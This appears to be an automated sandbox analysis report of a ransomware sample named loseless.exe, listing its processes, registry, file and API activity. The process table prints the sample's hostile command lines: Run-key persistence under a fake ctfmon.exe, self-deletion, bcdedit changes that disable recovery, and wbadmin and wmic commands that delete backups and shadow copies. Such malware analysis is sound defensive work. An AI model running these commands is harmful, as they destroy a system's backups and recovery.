3437bf19...184f | Grouped Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Dynamic Analysis Report
Classification: Ransomware, Trojan

loseless.exe

Windows Exe (x86-32)

Created at 2019-07-08T09:39:00

...

Remarks (1/1)

(0x2000004): The operating system was rebooted during the analysis because the sample installed a startup script, task or application for persistence.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0x9a4 Analysis Target High (Elevated) loseless.exe "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" -
#2 0x9bc Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /e:on /c md "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Alternative User Input" /t REG_SZ /F /D "\"C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *" #1
#3 0x9d4 Child Process High (Elevated) reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Alternative User Input" /t REG_SZ /F /D "\"C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *" #2
#4 0x9e8 Child Process High (Elevated) ctfmon.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe" * #1
#5 0x9f0 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" & if not exist "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" exit ) #1
#6 0xa08 Child Process High (Elevated) ping.exe ping -n 3 127.1 #5
#8 0xafc Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures #4
#9 0xb14 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no #4
#10 0xb2c Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet #4
#11 0xb44 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup #4
#12 0xb5c Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup -keepversions:0 #4
#13 0xb74 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete backup #4
#14 0xb8c Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete #4
#15 0xba4 Child Process High (Elevated) wmic.exe wmic shadowcopy delete #14
#19 0x538 Autostart Medium ctfmon.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe" * -

Behavior Information - Grouped by Category

Process #1: loseless.exe
842 0
»
Information Value
ID #1
File Name c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:26, Reason: Analysis Target
Unmonitor End Time: 00:00:36, Reason: Self Terminated
Monitor Duration 00:00:10
OS Process Information
»
Information Value
PID 0x9a4
Parent PID 0x45c (c:\windows\explorer.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 9A8
0x 9B8
0x 9DC
0x 9E0
0x 9E4
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
buffer 0x004B8910 0x004DA247 Marked Executable - 32-bit 0x004B9000, 0x004B8DBA False False
...
buffer 0x004B8910 0x004DA247 Content Changed - 32-bit 0x004BA661 False False
...
buffer 0x004B8910 0x004DA247 Content Changed - 32-bit 0x004BA22C False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran 1 bytes MD5: 93b885adfe0da089cdf634904fd59f71
SHA1: 5ba93c9db0cff93f52b521d7420e43f6eda2784f
SHA256: 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
SSDeep: 3:: 		False
...
Host Behavior
File (6)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Write C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran size = 1 True 1
Fn
Data
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran - True 1
Fn
Registry (30)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Borland\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Borland\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Delphi\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - False 27
Fn
Process (3)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\cmd.exe os_pid = 0x9bc, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe show_window = SW_SHOWNORMAL True 1
Fn
Create C:\Windows\system32\cmd.exe show_window = SW_HIDE True 1
Fn
Module (256)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 6
Fn
Load oleaut32.dll base_address = 0x75220000 True 2
Fn
Load advapi32.dll base_address = 0x74d40000 True 2
Fn
Load user32.dll base_address = 0x74f40000 True 2
Fn
Load mpr.dll base_address = 0x74a90000 True 1
Fn
Load shell32.dll base_address = 0x75fd0000 True 3
Fn
Load wininet.dll base_address = 0x753d0000 True 1
Fn
Load msvcr100.dll base_address = 0x749d0000 True 1
Fn
Load C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.ENU base_address = 0x0 False 1
Fn
Load C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.EN base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe base_address = 0x1610000 True 1
Fn
Get Handle c:\windows\syswow64\oleaut32.dll base_address = 0x75220000 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe, size = 260 True 1
Fn
Get Filename c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe, size = 261 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe, size = 261 True 1
Fn
Get Filename C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.EN process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe, size = 261 True 2
Fn
Get Filename C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.EN process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe, size = 522 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x76c3d31f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76cb4761 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76cb424f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76cc6676 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76cc65f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76cb47c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76cb47e1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalAlloc, address_out = 0x76c3588e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32First, address_out = 0x76cb5cd9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x76c349d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysFreeString, address_out = 0x75223e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysReAllocStringLen, address_out = 0x75227810 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysAllocStringLen, address_out = 0x752245d2 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExA, address_out = 0x74d548ef True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExA, address_out = 0x74d54907 True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 2
Fn
Get Address c:\windows\syswow64\user32.dll function = GetKeyboardType, address_out = 0x74f99ac4 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x74f59a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadStringA, address_out = 0x74f5db21 True 2
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxA, address_out = 0x74fafd1e True 2
Fn
Get Address c:\windows\syswow64\user32.dll function = CharNextA, address_out = 0x74f57a1b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x76c3110c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InterlockedDecrement, address_out = 0x76c313f0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InterlockedIncrement, address_out = 0x76c31400 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualQuery, address_out = 0x76c3445a True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpynA, address_out = 0x76c4192a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExA, address_out = 0x76c34913 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetThreadLocale, address_out = 0x76c335cf True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoA, address_out = 0x76c30e00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleA, address_out = 0x76c31245 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoA, address_out = 0x76c4d5e5 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileA, address_out = 0x76c3e2ce True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitThread, address_out = 0x7718d598 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x76c334d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x76c3168c True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x74f57809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PeekMessageA, address_out = 0x74f65f74 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MsgWaitForMultipleObjects, address_out = 0x74f60b4a True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetSystemMetrics, address_out = 0x74f57d2f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageA, address_out = 0x74f57bbb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharNextW, address_out = 0x74f58151 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharLowerBuffW, address_out = 0x74f5760b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharLowerBuffA, address_out = 0x74f64f38 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharToOemA, address_out = 0x74f64fee True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetOpenEnumA, address_out = 0x74a9b1e2 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetEnumResourceA, address_out = 0x74a9a674 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetCloseEnum, address_out = 0x74a92dd6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x76c317d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileAttributesW, address_out = 0x76c4d4f7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEvent, address_out = 0x76c316c5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEndOfFile, address_out = 0x76c4ce2e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ResumeThread, address_out = 0x76c343ef True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ResetEvent, address_out = 0x76c316dd True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76c33ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MoveFileW, address_out = 0x76c49af0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSection, address_out = 0x77162c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalUnlock, address_out = 0x76c4cfdf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalReAlloc, address_out = 0x76c4e4be True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalHandle, address_out = 0x76c5d27c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalLock, address_out = 0x76c4d0a7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalFree, address_out = 0x76c35558 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLangID, address_out = 0x76c4d5fd True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocalTime, address_out = 0x76c35aa6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFullPathNameA, address_out = 0x76c3e2c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetExitCodeThread, address_out = 0x76c4d5b5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableW, address_out = 0x76c31b48 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x76c4ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceA, address_out = 0x76cb433f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatA, address_out = 0x76c5a959 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InterlockedExchange, address_out = 0x76c31462 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FormatMessageA, address_out = 0x76c55fbd True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76c34435 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FileTimeToLocalFileTime, address_out = 0x76c3e29e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FileTimeToDosDateTime, address_out = 0x76c4c86d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumCalendarInfoA, address_out = 0x76c59e70 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x76c389b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventA, address_out = 0x76c3328c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringA, address_out = 0x76c33c5a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExA, address_out = 0x74d514b3 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCreateKeyExA, address_out = 0x74d51469 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenProcessToken, address_out = 0x74d54304 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = LookupPrivilegeValueA, address_out = 0x74d5404a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = AdjustTokenPrivileges, address_out = 0x74d5418e True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteW, address_out = 0x75fe3c71 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayPtrOfIndex, address_out = 0x7523e1ce True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayGetUBound, address_out = 0x7523e127 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayGetLBound, address_out = 0x7523e173 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayCreate, address_out = 0x7523e263 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeType, address_out = 0x75225dee True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantCopy, address_out = 0x752248f1 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantClear, address_out = 0x75223eae True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantInit, address_out = 0x75223ed5 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x753eb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x753ff18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetConnectA, address_out = 0x753f49e9 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x753eab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpSendRequestA, address_out = 0x754618f8 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpOpenRequestA, address_out = 0x753f4c7d True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpAddRequestHeadersA, address_out = 0x753edcd2 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetSpecialFolderLocation, address_out = 0x7605e141 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetPathFromIDListW, address_out = 0x760617bf True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetMalloc, address_out = 0x75ff0602 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749ec544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceExA, address_out = 0x76cb434f True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeTypeEx, address_out = 0x75224c28 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNeg, address_out = 0x7529c802 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNot, address_out = 0x7529ec66 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAdd, address_out = 0x75245934 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarSub, address_out = 0x7529d332 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMul, address_out = 0x7529dbd4 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDiv, address_out = 0x7529e405 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarIdiv, address_out = 0x7529f00a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMod, address_out = 0x7529f15e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAnd, address_out = 0x75245a98 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarOr, address_out = 0x7529ecfa True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarXor, address_out = 0x7529ee2e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCmp, address_out = 0x7523b0dc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarI4FromStr, address_out = 0x75236fab True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR4FromStr, address_out = 0x752401a0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR8FromStr, address_out = 0x7523699e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDateFromStr, address_out = 0x75246ba7 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCyFromStr, address_out = 0x75266c12 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBoolFromStr, address_out = 0x7523dbd1 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromCy, address_out = 0x75247fdc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromDate, address_out = 0x75237a2a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromBool, address_out = 0x75240355 True 1
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (286)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 27
Fn
Get Time type = System Time, time = 1627-02-27 17:06:33 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 14823151256 True 1
Fn
Get Time type = Ticks, time = 99357 True 90
Fn
Get Time type = Ticks, time = 99372 True 159
Fn
